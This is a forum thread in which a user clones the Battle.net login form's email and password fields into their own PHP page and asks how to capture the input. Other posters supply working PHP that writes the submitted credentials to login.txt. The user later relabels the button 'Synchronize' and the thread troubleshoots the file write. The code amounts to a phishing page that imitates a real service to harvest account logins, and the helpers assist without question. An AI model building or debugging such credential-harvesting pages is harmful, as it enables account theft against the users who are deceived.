I have a Question about a snippet of code perhaps someone else will understand this..? From Battle.net login textfield code <p><label for="accountName" class="label">E-mail Address</label> <input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" /></p> <p><label for="password" class="label">Password</label> <input id="password" name="password" maxlength="16" type="password" tabindex="2" autocomplete="off" class="input"/></p> PHP: I'm trying to use the nice looking blizzard textfields in a PHP form i'm working on however I can't seem to adapt them... I don't currently have a submit button or anything how could I add one and catch the inputted data? I was thinking something along the lines of <?php $username = $_REQUEST['accountName']; $password = $_REQUEST['password']; ?> PHP: But not sure, and still don't know how to setup the submit button.. Any ideas would be appreciated!
<?php if(isset($_POST['submit'])) { $username = $_POST['accountName']; $password = $_POST['password']; if ((!empty($username)) || (!empty($password))) { echo "---------------------------------------------------------------<br />"; echo "Username:". $username ." and Password: ".$password."<br />"; echo "---------------------------------------------------------------<br />"; } else { echo "-------------------------No Data---------------------------"; } } ?> <form name="info" method="post"> <p><label for="accountName" class="label">E-mail Address</label> <input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" /></p> <p><label for="password" class="label">Password</label> <input id="password" name="password" maxlength="16" type="password" tabindex="2" autocomplete="off" class="input"/></p> <p><input name="submit" type="submit" value="Submit" /></p> </form> Code (markup):
You should put that that login form in <form> tag: <form action="login.php" method="post"> <label for="accountName" class="label">E-mail Address</label> <input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" /> <label for="password" class="label">Password</label> <input id="password" name="password" maxlength="16" type="password" tabindex="2" autocomplete="off" class="input"/> <button class="ui-button button1 " type="submit" data-text="Processing…"><span><span>Log In</span></span></button> </form> HTML: In login.php you should put: <?php $username = $_POST['accountName']; $password = $_POST['password']; ?> PHP:
So from my understanding once I have put the login code in the form tag like Ker suggested the PHP will work?
Yes, that will catch your username and password... What data? Generally you can make file like following: $f = fopen('myfile.txt', 'w'); fwrite($f, "text that will be in file....blablabla..."); fclose($f); PHP:
This code isn't writing anything to login.txt.. :\ <?php $username = $_REQUEST['accountName']; $password = $_REQUEST['password']; $f = fopen('login.txt', 'w'); fwrite($f, "{$username}, {$password}"); fclose($f); ?> PHP:
If your form looks like <form action="login.php" method="post"> HTML: then login.php should contain following: <?php if(isset($_POST['accountName']) && isset($_POST['password'])) { $username = $_POST['accountName']; $password = $_POST['password']; $f = fopen('login.txt', 'w'); fwrite($f, 'Username: '.$username.' Password: '.$password); fclose($f); } ?> PHP: Note: If you put $f = fopen('login.txt', 'w'); PHP: content of login.txt will always be replaced with new content. If you want to append to the end of login.txt use $f = fopen('login.txt', 'a'); PHP:
I still can't get it to write anything to the file... <form action="sLogin.php" method="post"> <label for="accountName" class="label">E-mail Address</label> <input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" /> <label for="password" class="label">Password</label> <input id="password" name="password" maxlength="16" type="password" tabindex="2" class="input"/><br> <button class="ui-button button1 " type="submit" data-text="Processing..."><span><span>Synchronize</span></span></button> </form> HTML: In sLogin.php <?php if(isset($_POST['accountName']) && isset($_POST['password'])) { $username = $_POST['accountName']; $password = $_POST['password']; $f = fopen('login.txt', 'a'); fwrite($f, 'Username: '.$username.' Password: '.$password); fclose($f); } ?> PHP: Note: file permissions are 666 No idea why it wont write
Make new file phpinfo.php with following content: <?php phpinfo(); ?> PHP: Run phpinfo.php and see version of php. Fopen and fwrite are available from PHP 4.
Let's check that... <?php if(isset($_POST['accountName']) && isset($_POST['password'])) { echo 'PHP script recieved login data...'; $username = $_POST['accountName']; $password = $_POST['password']; $f = fopen('login.txt', 'a'); fwrite($f, 'Username: '.$username.' Password: '.$password); fclose($f); } else echo 'PHP script didn\'t recieve login data...'; ?> PHP:
Gah dude, I don't know whats up it just won't do anything. I'm going to call my host and see if they can figure it out. I REALLY appreciate your help man, hope you have a fuckin amazing week!